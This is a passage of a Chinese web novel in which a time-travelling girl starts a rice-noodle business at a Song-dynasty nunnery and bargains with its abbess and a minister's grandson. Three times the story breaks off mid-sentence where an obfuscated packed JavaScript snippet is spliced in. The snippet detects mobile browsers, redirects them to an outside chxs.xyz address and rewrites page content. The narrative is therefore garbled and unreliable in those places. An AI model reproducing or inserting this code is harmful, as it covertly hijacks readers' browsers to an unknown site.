“王小娘子，请上座。”静尘将王文茵请到榻上就坐，奉上一盏茶后又退到一旁站定。 “小娘子来静缘庵已有一段时日，我本应该亲自去探望你的，奈何前段时日感染了风寒，我这徒儿坚持不肯让我出门见客，还望小娘子见谅。” 妙善这老尼睁着眼说瞎话倒是脸不红心不跳的。 王文茵是通透人，自然知道以自己目前的处境，别说妙善不知道自己的来历，就算知道也未必见得会对她另眼相待，便客套道：“师太不必多礼，您肯收留我们姐弟二人，我已是感激不尽。” 妙善暗想，这王小娘子小小年纪就学会打官腔，定是从小耳濡目染，看来她即便不是蔡家二房夫人的嫡亲侄女，也是大户人家出身，怠慢不得。 “不知小娘子家中可还有亲人？” “不瞒师太，老家尚有一个二叔，因其非我祖母亲生，与我们姐弟早已断了联系。” 妙善叹了口气表示同情，又追问道：“小娘子与蔡家二夫人可是近亲？” 王文茵断然摇头：“不是。” 她倒不是想骗妙善，而是在她看来二姑母不顾亲情天寒地冻将她们姐弟赶出门，定是想跟他们划清界限，自己又何必上赶着讨人嫌，不如断了这门亲来得爽利。 这显然是出乎妙善的预料，看来王家姐弟并非那位传说中的前朝宰相之孙。 “如此看来，小娘子在汴京城已是无亲无故？” “正是如此。”王文茵很坦然。 妙善心想，既然你没什么靠山，那我也没义务救济你，便婉转道：“小娘子今后有何打算？” “我想留在此处。”王文茵直言。 妙善倒吸一口气，心里有些不爽，脸上还维持着官方笑容：“小娘子可知，静缘庵虽为福田院，救助的却是鳏寡孤独、老弱病残之人。小娘子既已痊愈，且还如此年轻，不宜在此处久留，还是另谋出路为好。” 王文茵笑笑：“师太，您误解我的意思了。” 妙善挑起一边眉毛：“此话怎讲？” “我的意思是，我想留在此处帮静缘庵另谋出路。”王文茵端起茶杯呷一口茶。 “嘶——”静尘闻言嗤笑，这个王小娘子还真是不知天高地厚，竟敢当着师父的面大言不惭。 妙善的眼角风扫向静尘，示意她做好表情管理，虽然她自己也有同样的想法，不过身为出家人要持戒打诳语，岂能将内心所想写到脸上供人瞻仰。 “咳……”妙善极力控制自己的表情：“不知王小娘子打算如何帮静缘庵另谋出路？” 王文茵放下茶杯，视线投向盛过米粉的那只空碗：“师太可吃了我做的米粉？” 妙善似乎这才想起将王文茵唤来此处的目的，眼神不由自主也看向那只空碗，脸上讪讪，刻意强调：“这碗米粉我只浅浅尝了一筷子。” 王文茵笑着道：“师太觉得这米粉味道如何？” “味道嘛……”妙善回想起米粉入口爽滑柔韧的滋味，满意地点了点头：“很是不错。” 王文茵谦逊道：“师太谬赞。” “听说这米粉是小娘子用陈年的籼米所制？” “正是。” 妙善眼神闪烁：“不知小娘子是如何用籼米制作出米粉的？” 王文茵抿嘴摇头：“制作米粉的秘方乃是我的独家机密，恕我不能告知。” 妙善尬笑，心想王小娘子年纪不大，脑子倒是很清楚，知道什么该说，什么不能说。 “小娘子又是从何得知籼米能做成滑溜爽口的米粉？” 王文茵自然是不能把自己穿越后世这种真话告诉妙善，哪怕她敢说，妙善也不敢信，于是便胡诌道：“先祖父曾游历四方，将沿途所见的各地风土人情记录在册。我便是从这本册子上读到西南地区的大理国人善用籼米制作更易入口的米粉，就尝试着模仿了一下，不想竟真的成功了。” 妙善心里一动：“原来如此，小娘子果然家学渊源。我素来喜爱各地的风俗，不知小娘子可否将这册子借我一阅？” 王文茵两手一摊，遗憾道：“来京途中行李被窃，连同这本册子一起，不知所踪。” 妙善脸上有掩饰不住的失望：“……如此宝贵的册子丢了真是太可惜了。” 王文茵用手指了指自己的胸口：“师太不必担心，我早已将册子里的内容牢记在心。” “如此……甚好，呵呵。”妙善干笑两声，心知从王文茵嘴里套不出实话，脸上难免有些扫兴。 王文茵察言观色，知道时机已经成熟，便正色道：“我想与师太商量一事。” “何事？”妙善张嘴打了个呵欠，看样子不太感兴趣。 “师太是否愿意同我一起做卖米粉买卖？” 妙善的嘴张成了“O”型：“做米粉买卖？” 王文茵含笑点头。 妙善有点心动，王小娘子做的米粉比寻常所见的汤饼更爽口弹牙，拿去售卖倒确实是一门不错的生意。不过她担心王文茵会借机要她出钱出粮，直言：“王小娘子打算怎么合作？我手头既无余钱，亦无余粮。” “无须师太出钱出粮。” 竟有这等好事！ 妙善不敢相信，复问：“无须出钱出粮，那需要我提供什么？” “招牌和场地。” “此话怎讲？” 王文茵解释道：“既要卖米粉，那便需要个名头，有静缘庵这块招牌在，食客自然也更放心些。” “那倒是。”妙善颇为自得：“打着我们静缘庵的招牌出去卖米粉，必定比无名无分的小作坊强多了。” 这也正是王文茵想要的。就目前的处境而言，她还不想让人知道她的真实身份，反而躲在静缘庵这块招牌背后做事相对更简单一些。 “正是如此。”王文茵点头附和。 妙善给徒弟静尘使了个眼色，静尘秒懂，轻咳一声道：“王小娘子借用我们静缘庵的招牌做米粉买卖，我们静缘庵又能得到什么好处？” 王文茵抿嘴一笑：“先前我同师太已有约定，赊一石米按民价折算约700文，月息一分，借用灶房多付一分月息，加上静缘庵这块招牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822218|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我愿意再多付一分月息，也就是每月三分利息，共计210文。师太，觉得如何？” 妙善快速在心里盘算了一下，觉得这笔买卖划得来，不过是借个名头就能白得一分利，何乐而不为？不过她还有顾虑：“假设小娘子的米粉买卖惹了是非，岂不是要连累我们静缘庵？” “师太不必担心，但凡我的米粉买卖出了任何事故都与静缘庵无关。”王文茵给妙善派定心丸：“若是师太不放心，我们可以立字为据。” 这下妙善更找不到反对的理由了，回头跟静尘用眼神交流了一下，两人都很满意这个结果。 “不过……”王文茵话锋一转，又道：“我既买断了静缘庵这块招牌，那便只能由我一人来卖这米粉，师太这边就不能再让其他人参与静缘庵的米粉买卖咯。” 妙善嘴角直抽，心说：你怎么知道我打算等你把米粉买卖做起来之后，再接手过来自己做的？ “什么叫买断？难不成你用一分利就想买走我们静缘庵的金字招牌？”一旁的静尘先急了。 “非也。”王文茵微笑着摇了摇头：“买断指的是在我用静缘庵这块门面做米粉买卖期间，静缘庵便不能再用这块招牌做同样的米粉买卖，否则就是不正当竞争。” 妙善跟静尘面面相觑，王小娘子的话她们大致是听懂了，就是心里很不爽是真的。 “小娘子打算买断我们静缘庵多长时间？”妙善皮笑肉不笑。 王文茵估算了一下：“不长，一年足矣。” 才……一年？ 妙善心里的算盘又打上了，一年不长，一年后这米粉买卖就是静缘庵自己的了。 “成！” “师父？” 妙善给静尘甩了个眼色：师父又不是老糊涂，心里透亮着呢。 “既然师太答应了，那我们便将这排他协议一并写入先前订好的契书内，可否？” 妙善点点头，让静尘去取之前签好的那份契书，顺便将其余条款补充上去。 趁着妙善心情好，王文茵又提了一个要求：“师太可否将东南边那个小灶房借予我使用？” 妙善想都不想就点头答应：“可以。” 反正那个小灶房平日里也没人用，除了每年重要的节日举行隆重的佛事活动需要额外添加人手帮忙做斋饭跟供品时才用得上。 就这样王文茵用一碗米粉跟静缘庵的住持师太妙善达成了初步合作，接下去她就可以甩开膀子挖第一桶金了。 王文茵离开后，静尘忍不住好奇问道：“师父，您真的相信王小娘子能做成这单米粉买卖？” 妙善望着王文茵的背影，若有所思：“不好说，不知道为什么王小娘子给我感觉虽然年幼，但心智全然不似一个孩子，倒更像个成年人。” 静尘回想起王文茵跟她谈条件时成熟理智的模样，觉得师父的话不无道理，点头道：“既是如此，师父为何不考虑同王小娘子合作米粉买卖？” “急什么。”妙善学着王文茵的样子端起茶杯呷一口茶：“先等她做起来咱们再参与也不迟，反正她那块玉佩还在咱们这里，里外都不亏。” 静尘由衷地佩服师父的深谋远虑。 师父就是师父，静缘庵虽香火不济，但在师父英明的领导下兼做福田院，至少温饱是没什么问题。当然，若是手头能再宽裕些就更好了，像那汴京城里大相国寺的烧朱院一般，兼营个米粉院来增加收入，那她们就有余钱修缮庵里破败的院舍，还能给大家添几件过冬的新棉衣。 跟静尘想的不一样，妙善打算开春后去汴京城里的蔡府拜访一趟。她对王小娘子的来历实在太好奇了，倘若她真的不是前朝宰相的嫡亲孙女，那她又会是哪家的小娘子呢？ 5. 第五章 开张大吉 张二嫂站在灶房门口抻长脖子朝前院方向张望，从王小郎君口中得知王文茵被住持师太请去说话，她这颗心七上八下的，生怕老尼姑刁难王文茵。 远远见到王文茵从前院跨门进来，张二嫂立刻便迎了上去：“小娘子，你怎么去了这么久？住持师太为难你了吗？” “没有。”王文茵轻松一笑，将自己与妙善师太谈判的结果告诉了张二嫂。 张二嫂不敢相信，嘀咕：“妙善师太什么时候变得这么好说话了？还是小娘子你有本事，师太平日里待我们可没什么好脸色。” 有利可图，态度自然是不一样的，这是人性。王文茵并不认为在妙善眼里自己跟福田院里的其他流民有什么不同。 “婶子，米粉都给两位阿叔送去了吗？” 提起这事儿张二嫂立刻就来了精神，拍着大腿笑道：“哟，小娘子，你是没见到王大崔他们吃得那叫一个香，恨不得连碗一块儿吞下去，给其他人羡慕得口水都流了一地。这儿的人谁也没见过白溜溜粉嫩嫩的米粉，都快馋死了，嘿嘿，都跟我央求要是小娘子还需要人帮手，他们也想帮着干点活，不为别的，能给碗米粉吃饱就行。” “不急。”王文茵暂时还没有扩大米粉作坊人员规模的打算，眼下最重要的一件事就是如何把米粉销售出去：“婶子，离静缘庵最近的镇子有多远？” “就算脚程快也得要半个时辰呢【注1】。”张二嫂抬头看天，大雪跟扯棉絮似的从空中坠落下来，不禁担忧道：“眼下这冰天雪地，怕是再热乎的鲜米粉拿到镇上也已经冻成冰坨子了。” 这的确是个问题，王文茵想了想道：“可以先把米粉拿去山下的村子里售卖。” “可村子里只有农民和佃户，他们哪有余钱买咱们的米粉吃。” “不怕。”王文茵道：“没钱买米粉可以拿同等斤两的早籼米置换，鲜米粉吃起来口感比早籼米好，相信会有人愿意交换的。” 张二嫂喜道：“这倒是个好主意！”想了想又觉得不对：“可用同等斤两的早籼米换咱们的鲜米粉，那咱们岂不是亏了？” 王文茵摇头：“不亏，一斤早籼米可以制成两斤多鲜米粉，咱们还是有盈利的。” 张二嫂一拍脑门：“对啊，我咋就没想到这茬，还是小娘子你聪慧。” “这只是权宜之计，眼下我们没有别的销售途径，只能先赚一点粮食差价作为原始资本积累。” 张二嫂听不懂王文茵说的这些拗口的话语，但有一件事她很确定，跟着王小娘子就有饭吃。 天刚蒙蒙亮，王文茵便同张二嫂一道将新鲜出炉的米粉装进陶罐子里，罐子外面裹上几层厚厚的稻草，再放进竹篮，用一根木棍穿过竹篮的手柄，一起抬着下山去丰收村里兜售米粉。 丰收村虽名为丰收，实则并不富裕。村民主要由本地农民、佃户和外来的佃户组成。 本地的佃户原本是村里的农民，因为借了高利贷还不上，将自家的土地转卖给村里的大户，再租赁田地耕种，收入虽少，勉强还能糊口。外来的佃户则基本都是些流民，住在村口西北角的窝棚里，食不果腹，民生艰难。 张二嫂经常帮静缘庵的尼姑下山采买，对丰收村的村民十分了解，知道哪几户是农民，哪几家又是佃户。 “佃户家里粮食不够，平日吃的都是糊糊，怕是没有余粮可与我们置换。农户家倒是有点余粮过年，不妨试试同他们交易，若是不成咱们便去找庄子里的大管家。”张二嫂颇有些自得：“先前我帮妙善师太给庄子里送过几次供品，跟大管家打过照面，能说上两句话，这米粉他铁定喜欢。” 王文茵顺着张二嫂手指的方向望去，那座庄子占据着全村最好的风水宝地，白墙黑瓦，古朴雅拙，煞是显眼，倒是不像北方的建筑，更像江南的园林。 “这庄子的主人是谁？” 王文茵难得好奇，第一次在北地见到如此规模的江南园林建筑，勾起了她的思乡情。她是遗腹子，出生的时候父亲王雱已经过世，祖父王安石被贬官至江宁府。她在金陵长大，年初跟随祖母吴氏第一次进京，一路颠簸，几次遇险，还差点命丧汴京。 汴京太大，太繁华，初次进京的王文茵感觉自己如此渺小，在富贵迷人眼的汴京城里竟找不到一处容身之所。不过，阎王殿前走一遭后，她已无所畏惧，她给自己定下一个小目标，一年之内她要在汴京城里挣下一方属于自己的立足之地。 “说是京城里的大官，姓文。”张二嫂压低声，神秘兮兮道：“不过我无意中听庄子里的下人提及，他家主人文大人好像是当今宰执，也不知是真是假。” 当今宰执，姓文？ 王文茵倒是知道一位，那是祖父的死对头，旧党领袖文宽夫文相公。再看那座气派的庄子，难怪文相公坚持反对新党改革，将祖父的变法策略贬责得一无是处。 她甩甩头，朝堂之事不是她一介底层小民能掺和的，眼下最紧要的是卖米粉，赚钱。 张二嫂带着王文茵直奔几户农家而去。 敲开其中一户的门，得知是来上门推销一种叫米粉的吃食，对方第一反应就是拒绝。饭都吃不饱的年头，谁还有余钱买吃食。 王文茵将一碗米粉送到对方手里，笑盈盈道：“阿婶，你尝尝看，若是觉得这米粉好吃再来静缘庵找我，不要银钱，只需用同等斤两的陈年早籼米置换便可。” 对方将信将疑，既是白食，不要白不要，收下也没道一声谢，转眼就关了门。 张二嫂很是气愤：“什么态度？吃白食还一脸嫌弃。” 王文茵不甚介意：“白吃嫌淡，这是大部分人的心理。” “可是小娘子，咱们为何要免费送予他们品尝？” “这是一种营销手段，先让人免费试吃，觉得好吃的自然会来找咱们购买。” “可若是他们吃完后不来找咱们购买，岂不是浪费了这么多米粉？”张二嫂很心疼白送出去的米粉。 王文茵很笃定：“会有人来的。” 挨家挨户上门推销，虽然每家人的态度不一样，但大家对送上门来的免费吃食倒是一点不抗拒，都笑纳了。 最后陶罐里还剩下两碗份量的米粉，张二嫂提议：“小娘子，咱们把最后一份米粉送去给庄子里的大管家尝尝，成不？” 王文茵不反对，即便文家是祖父的死对头，于她而言都是潜在的客户。 两人抬着陶罐来到庄子门前，跟门房通了气后站在门口静候。 雪后初霁，北风却像刀子似的刮得人脸生疼。 王文茵跺跺脚，双手捂着嘴哈气，试图让冻僵的手指恢复知觉。 张二嫂有些担心地看了看她：“哎，早知道山下这么冷，我一个人来就行了，小娘子你大病初愈，不能受凉。” “我不冷，婶子。” 王文茵此刻内心炽热，满脑子都是对未来的规划。 “咦，那边怎么来了一队车马。” 王文茵闻言朝前看去，那是一队由家丁护送的三驾马车组成的车队，走在中间的是一辆四匹马的奢华马车。 门房也注意到了车队的到来，刚要进去通报，大管家恰好出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822219|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张二嫂一见到大管家，立刻上前表明来意，亲手将米粉奉上。 大管家这会子正要忙，便让下人先将米粉收起来，转头吩咐家丁护院、丫鬟婆子：“快进去将暖轿抬出来，老夫人马上就到了。” 下人们顿时忙碌起来，门口乱糟糟的。 听说是京城里的老夫人来了，张二嫂本想留下来看个热闹，她这辈子还没见过京城里的大官，更别提大官的家眷了。 王文茵却拽了拽张二嫂的袖子，“婶子，咱们就先回去吧。” 张二嫂依依不舍地朝那辆气派的马车投去艳羡的目光，叹气：“不知道下辈子有没有机会坐上这样气派的马车？” 王文茵闻言噗呲一笑：“婶子，不用等下辈子，这辈子我就能让你坐上马车。” 张二嫂乐开了花：“小娘子，我信你，嘿嘿。” 两人说笑间与马车队伍错身而过，王文茵她们没注意到车内有只修长白皙的手轻轻掀开窗帘子的一角，朝外头瞥了一眼。 “七郎，外头何人在笑？”文老夫人问身旁十四岁的少年。 少年长了一张清冷俊秀的脸，眼风从王文茵身上淡淡扫过，回头对着祖母温言道：“回祖母，是路过的村姑。” “快到了吧？” 文老夫人已是年逾七十岁高龄的老太君，一路从京城坐马车来山庄被颠得有些晕眩反胃。此刻皱眉闭眼靠在软榻上，时不时拿起帕子捂住自己的嘴，生怕再次反胃呕吐。这一路上她已将早上吃进去的点心吐了干净，这会子除了酸水也已经吐不出其他东西来了。 “已经到了。”文安世握了握祖母的手，温言道：“我已吩咐院公备好小半夏汤为祖母解吐，不知祖母晚上可有什么想吃的？” 文老夫人摆了摆手：“什么都不想吃。” 文安世十分担忧：“这一路过来祖母已将晨时吃下去的点心呕吐殆尽，这会儿肚子里已经空了，若是晚上什么都不吃怕是对身体不好。” 文老夫人睁开眼，在诸多孙辈中她最喜爱的便是这大房的嫡四子，文家第三代排行行七的文安世，字之喻。 “那就随便弄点清淡的小食充饥即可。”文老夫人望着一脸固执的孙儿浅笑。 文安世这才放下心来：“我马上吩咐崔嬷嬷去准备。” ***** 王文茵同张二嫂回到静缘庵的小灶房内，她们昨日已连夜将赊来的几斗籼米与磨盘、菜盆、竹竿等器具搬到了这里，张二嫂还问静尘借了把锁将小灶房的门锁上了。 倒不是怕有人来偷窥做米粉的方法，王文茵心里很清楚，制作米粉其实没啥技术含量，只是没人创造出来之前其他人都想不到难吃的早籼米居然还可以做成爽滑弹牙的米粉。 不过，一旦有人捅破了窗户纸，那就意味着技术层面的瓶颈很容易就会被突破，后来的模仿者只会越来越多。 而维持长胜的关键是创新，不断推陈出新才有可能在竞争中立于不败之地。 不过张二嫂提醒她静缘庵里的流民身份来源复杂，她担心有人会趁她们不备将米粮偷走，这样的风险对处于创业初期的她们来说是毁灭性的，安全起见还是锁上比较安心。 王文茵觉得张二嫂不但为人心细，还处处替她着想，是个非常靠谱的合作伙伴，更加坚定了要带着她共同富裕的决心。 ***** 翌日一早，静缘庵的大门被人从外面怦怦拍响。 静尘师太以为是官府遣人来给她们送月例银两与米面，兴冲冲跑去拉开大门，赫然发现门口竟然聚集了一大群山下丰收村的村民。 6. 第六章 客户上门 聚集在静缘庵门口的村民们肩上都扛着一麻袋粮食，面上带着雀跃的笑容，眼巴巴等着开山门。 山门方才打开，一群人便乌拉拉围了上来，着实把静尘吓了一跳。 静尘心里疑惑，这些乡民平日里没事从不来山上进香，今儿这是怎么了？ “各位乡民，为何今日一大清早就来进香？” 村民们看了看静尘，再看看各自手里的粮袋，不约而同摇了摇头：“师太，我们不是来上香的，我们是来庵里置换鲜米粉的。” “置换鲜米粉？”静尘一头雾水：“此话从何说起？” 村民便将昨日王文茵她们带着米粉下山去推销，免费让他们试吃的事告诉了静尘。还表示那位王小娘子说了，村民可用同等斤两的陈年早籼米置换静缘庵独家出品的鲜米粉，保证物美价廉、童叟无欺。 静尘瞪大了眼，还能这么玩？ “我不清楚这事儿。”静尘有些吃味，拉长了脸道。 村民一听，急了：“师太，出家人可不能说话不算数啊，你看我们都是一大早带着自家宝贵的存粮来跟你们置换米粉的。” 村民们叽叽喳喳将静尘围了个水泄不通。 这时，王文茵偕同张二嫂出来解围了。 “大家稍安勿躁——”张二嫂扯着嗓子喊了一把子。 见是昨日上门来推销的张二嫂跟王小娘子，村民立刻扔下静尘，一窝蜂挤到她们二人面前，纷纷将各自肩上扛着的米袋递到王文茵跟前。 “小娘子，我换三斤鲜米粉！” “我要五斤！” “我这儿有十斤陈年早籼稻！” …… 哄抢声此起彼伏，村民对新鲜吃食的热情吓坏了静尘。 她有些眼热地想：王小娘子还真是好手段，搞一出免费试吃就把这些村民都勾来了。 “大家听我说，鲜米粉要现做出来的才好吃，大家想置换多少米粉可以先在我这儿登记。”生怕村民听不懂，王文茵又提高嗓音解释道：“由于鲜米粉的保质期比较短，所以最好不要一次置换太多，以免坏掉浪费。” “小娘子，啥叫登记？” “哦，登记啊，就是……”王文茵拿出一本账册一样的东西，举起来给村民看：“就是把你们想要置换的米粉数量记录在册的意思。” 村民纷纷点头表示同意。 “小娘子，帮我登记一下，我要十斤！” “我五斤！” “我只要三斤。” …… “大家先排队，一个一个来，都有份，不用急，不用抢，保证每家每户都能吃到最新鲜美味的米粉。”张二嫂眉花眼笑，张开手臂维持秩序。 队伍的末端上来两个人，其中一人正是昨日见过的文家庄大管家，而他身旁那位身着锦袄裘衣，头戴浩然巾的少年便是文家七衙内文安世。【注1】 一上来就见到如此热闹又井然有序的场面，文安世不免惊诧，视线落到昨日见过的那位“村姑”身上，更是惊讶万分。 这村姑居然会写字！ 看她年龄不过十岁光景，身上穿的虽是素色苎麻袄子，气质却与她周围的人截然不同。听院公说昨日来送米粉的两人是寄居在静缘庵内的流民，想来这村姑逃难前也是读书人家的孩子。 眼尖的静尘看到文家庄大管家带着一位锦衣小公子上来，立刻便笑吟吟地迎了上来，双手合十：“阿弥陀佛，文大总管今日怎么有空过来？” 文家大总管还礼，道：“师太，这位便是我家七郎。” 静尘一惊，生怕村民冲撞了文家小郎君，立刻做了一个请的手势：“二位请随我进去说话。” 静尘将文家主仆二人引入静缘庵内。 路过王文茵身边时，文安世低眸瞥了一眼她手中的册子，一手小字竟似晋宋间人的笔墨，内心顿时起了一阵涟漪。 低头忙碌的王文茵压根就没注意到有人在偷窥她的笔墨，专心致志帮村民登记置换米粉的数量，内心的喜悦抑制不住地爬上了嘴角。 登记完毕，王文茵告知村民翌日一早便会将每日新做的米粉送下山去给他们，保证他们每日都能吃到最新鲜的米粉。 村民们得到保证后，心满意足地背着粮袋下山去了。 这才刚开张就迎来了这么多客人，张二嫂乐得嘴都快合不拢了，此刻她正在兴头上，干劲十足，搓手道：“小娘子，咱们这就开工吧？” 王文茵点了点订单数量，发现超出了她的预期，再想起张二嫂一个人推石磨费力的样子，便摇头道：“不行，咱们得招人，单只我们二人怕是做不出这么多鲜米粉来。” 张二嫂觉得王文茵说得对，眼下这么大的订单量，不是逞能的时候，便点头道：“小娘子，你打算招几人？” 王文茵想了想：“先招两人，一个帮忙磨米粉，一个帮忙送米粉，干的都是体力活，最好是男人。” “磨米粉的活就让李三毛来做，他虽然是罗锅，但力气足，而且他是哑巴，不怕把咱们的米粉配方泄露出去。”张二嫂时刻谨记王文茵说的配方版权要保密的原则。 王文茵心说，李三毛若是有心，很快便能掌握制作米粉的秘方。若他想泄露，哪怕口不能开，耳不能听，也一样有办法传出去。不过，她并不担这个心，这是早晚的事，眼下用人要紧。 “成。”王文茵点头。 “送货的话还是我来吧。”张二嫂说：“寄居在福田院里的人大都是老弱病残，怕是使不上力。” “昨日那位王家阿叔呢？”王文茵想起了瘸子王大崔。 “他有腿疾，万一半路上把米粉颠翻了，可咋整？” 王文茵注意到院子角落里有一辆破旧的轱辘车，指了指道：“我去向住持师太借这辆轱辘车来送货。” “师太怕是又会同你要租金。”张二嫂替王文茵感到心疼。 “没事，该花的铜钱还是得花，有了这车送货就方便多了。”王文茵道：“婶子，你去问一下王家阿叔，看他是否愿意帮忙送货。” “他肯定愿意。”张二嫂嘟哝：“这里的人每日都吃不饱，给小娘子你干活就能吃饱饭，谁能不乐意？” 王文茵心底触动，但没表现出来，只说：“那便麻烦婶子你去跟两位阿叔说一声，若是他们乐意，咱们今天便开工。” “得嘞~~”张二嫂喜滋滋去了。 王文茵刚要开门进小灶房，静尘又来了。 “王小娘子，师父请你过去说说话。” 王文茵本想拒绝，转念间想起张二嫂刚刚那句话，便点头道：“好，我这就随师太过去。” 刚踏进禅房，王文茵就注意到了坐在榻上的那位眼神冷淡的少年，心里正疑惑，妙善已经开口介绍了。 “七衙内，这位便是王家小娘子，咳，那鲜米粉便是由她所制作。”妙善转头看向王文茵，朝文安世努努嘴：“小娘子，这位是山下庄子里的文家七衙内。” 文安世朝王文茵微微颔首，冷淡又不失礼貌地问：“敢问小娘子，昨日那鲜米粉便是你送到庄子里来的？” 既是文家的七郎，看他年龄想必是文相公的孙子，来者都是客，王文茵笑盈盈地朝文安世福了一福：“回郎君的话，正是奴家。” 文安世顿首：“小娘子做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822220|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜米粉我祖母很是喜欢，不知是否还有剩余，我想再购置一些回去。” “没有现成的，但可以预订。” 文安世皱眉，这个王小娘子说话怎地如此古怪？ “此话怎讲？” “新鲜的米粉须得当日现做才好吃，制作米粉的时辰较长，且今日已有不少山下的村民来预订了鲜米粉，待全部做完也需等到明日。郎君若是想要鲜米粉，可先付了定金，于我这里登记数量，明日一早我便会带着鲜米粉送货上门。” 一听说要等到明日才有，文安世脸上掠过一丝失望。他知道祖母这几日胃口不开，吃什么都没滋味，反倒是昨日那米粉令她很是喜欢，多吃了小半碗，又说今日还想再吃，作为孙儿的他岂有不答应的道理。 善于察言观色的妙善当即发话了：“小娘子就不能通融通融，让文小郎君先带一些回去给老夫人品尝。” 妙善这话让文安世误以为王文茵想坐地起价，便应允道：“小娘子可开一个价，多少银两都成，只要能让我祖母今日吃到鲜米粉就行。” 王文茵正色道：“做生意讲究的是诚信，凡事都有先来后到，山下的村民比郎君来的更早，我既已应允了他们，便不可失信，还望郎君海涵。” 文安世没料到王文茵居然这么有原则，关键还不贪财，失望之余倒是有些欣赏她做事的风格，点头道：“小娘子的话在理，既如此，那我便先预定一些，不知这鲜米粉什么价？” 王文茵笑了笑，“我与山下村民约定是以同等斤两的陈年早籼米置换鲜米粉，郎君若是没有陈年早籼米，也可用铜钱购买，那便是16文钱一斤。”【注2】 文安世朝管家微微颔首。 管家会意，从袖袋里取出一小块银子来交给王文茵：“小娘子，这一两银子是定金，烦请你明日一早将四十斤鲜米粉到庄子上来。”【注3】 王文茵大大方方接过银子，心里有了新的计划，向文安世提议道：“先前我同院公说鲜米粉可拌胡麻油吃，其实米粉最正宗的吃法还需加上底碗、底汤和码子，尤其是底汤的风味，决定了米粉的口味。”【注4】 文安世来了兴趣：“可否详解？” 王文茵津津有味地解释：“就底汤而言，米粉可分为原汤粉、重油汤粉和无汤粉三类。原汤粉以新鲜的筒子骨配以老母鸡熬制，煮出来的汤底十分清澈鲜美，比较适合上了年纪的人食用；重油粉须加入大量刺激性口感的调料，口味比较浓郁；而无汤粉则是干拌粉和炒粉，靠的是底碗、码子提鲜增味。底碗便是配料，根据各人口味可自行调配。码子又称浇头，常见做法有煨码、蒸码、炒码和烧汤码这几种，不过最受欢迎的还是煨码。”【注4】 在场的人默默吞了口口水，这些米粉听着就很好吃，不知道吃进嘴里该有多美味。 “小娘子可否将这些米粉的配方告知？”文大管家跃跃欲试。 王文茵一脸严肃地摇了摇头：“配方乃是商业机密，恕我无法告知。”她抿嘴一笑，又道：“但我可以代为加工，不过食材需由你们自己提供，我只收取加工费。” 文安世心说：王小娘子倒是挺机灵，知道什么该说，什么不该说。 他点头：“那就劳烦小娘子明日一早先将原汤粉送到庄子里来，需要什么食材尽管跟院公提。” 王文茵莞尔一笑：“郎君请放心，明日必定准时送达。” 她这笑容，文安世很不喜，像只小狐狸，他冷着脸起身同妙善告辞，连看都没看王文茵一眼便离开了。 王文茵才不介意被冷待，她掂了掂手里的银两，满心欢喜，这可是她靠自己赚到的第一笔钱！ 7. 第七章 鲜掉眉毛 送走文家主仆，妙善这颗心一路都在滴血。才一会儿功夫，就眼睁睁看着王小娘子含泪血赚了一两银子，她开始后悔当时没答应跟王小娘子合伙做米粉买卖了。 “小娘子，你这米粉生意挺好的呀。”妙善语气酸涩。 王文茵眯着眼笑：“承师太吉言。” “今日来订购米粉的人这么多，小娘子可还忙得过来？”妙善将静尘推了出去：“若是人手不够，可将我这徒儿叫去使唤。” “多谢师太，眼下我已经找了人手帮忙。”王文茵脸上的笑意越发深了：“若是有需要，我再跟师太请示。” “这么快？！”妙善十分吃惊：“小娘子都是从哪儿找来的人手？” 王文茵点她：“师太忘了？静缘庵里就有不少现成的人手。” 妙善这才想起寄居在后院里的流民和孤寡老人，语气有些不屑：“那些人每日除了等着吃干饭，平时连点力都不肯出，小娘子你可得小心些啊。” 王文茵摇头：“师太有所不知，若非不得已，无人愿意成为流民，居无定所，食不果腹。寄居在福田院的人大都是走投无路之人，譬如我与阿弟便是。” 妙善以为王文茵是在暗讽她之前亏待她们姐弟的事，大为尴尬，赶紧找补：“小娘子，你可莫要妄自菲薄，你跟后院那些人怎可同日而语。” “师太此言差矣，我与他们并无任何不同。”王文茵自嘲：“穷困潦倒之时我也一样卑微得抬不起头来。” “然小娘子却在绝境中为自个儿寻到了一条活路，这便是你与其他人不同之处。”妙善很会抓重点。 这话说的倒是没错。 王文茵虽然不懂自己为何会穿越到后世，但她明白一个道理，她所掌握的这些后世先进的知识不仅仅只是为了让自己暴富，而是应该在她力所能及的范围内尽量去帮助需要帮助的人。 “我有一事想同师太商量。” 妙善心里一喜，莫非是要同她谈合作？ “小娘子请说？” “官府给寄居在福田院内的人每日配发的口粮是多少？” 